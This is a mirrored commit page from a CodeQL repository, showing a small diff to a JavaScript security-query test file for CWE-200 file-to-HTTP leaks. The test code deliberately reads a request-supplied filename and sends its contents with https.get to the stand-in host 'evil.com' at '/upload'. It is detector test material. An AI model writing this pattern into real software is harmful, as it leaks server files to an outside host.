hohn/codeql
1
0
Fork 0
mirror of https://github.com/github/codeql.git synced 2025-12-16 16:53:25 +01:00
Code Issues Packages Projects Releases Wiki Activity

Applied copilot suggestions.

Browse Source
This commit is contained in:
Napalys
2025-03-28 13:19:11 +01:00
parent 769fe75d82
commit 75b4d1b771
1 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
View File

@@ -29,10 +29,10 @@ const fsp = require("fs").promises;
app.post('/readv', async (req, res) => {
const { filename } = req.body;
const fd = await fs.open(filename, 'r');
const fd = await fsp.open(filename, 'r');
const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http]
const { bytesRead } = fs.readvSync(fd, buffer);
const bytesRead = fs.readvSync(fd, buffer);
https.get({
hostname: "evil.com",
path: "/upload",
@@ -41,7 +41,7 @@ app.post('/readv', async (req, res) => {
}, () => { }); // $ Alert[js/file-access-to-http]
const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
const { bytesRead1 } = fs.readvSync(fd, [buffer1]);
const bytesRead1 = fs.readvSync(fd, [buffer1]);
https.get({
hostname: "evil.com",
path: "/upload",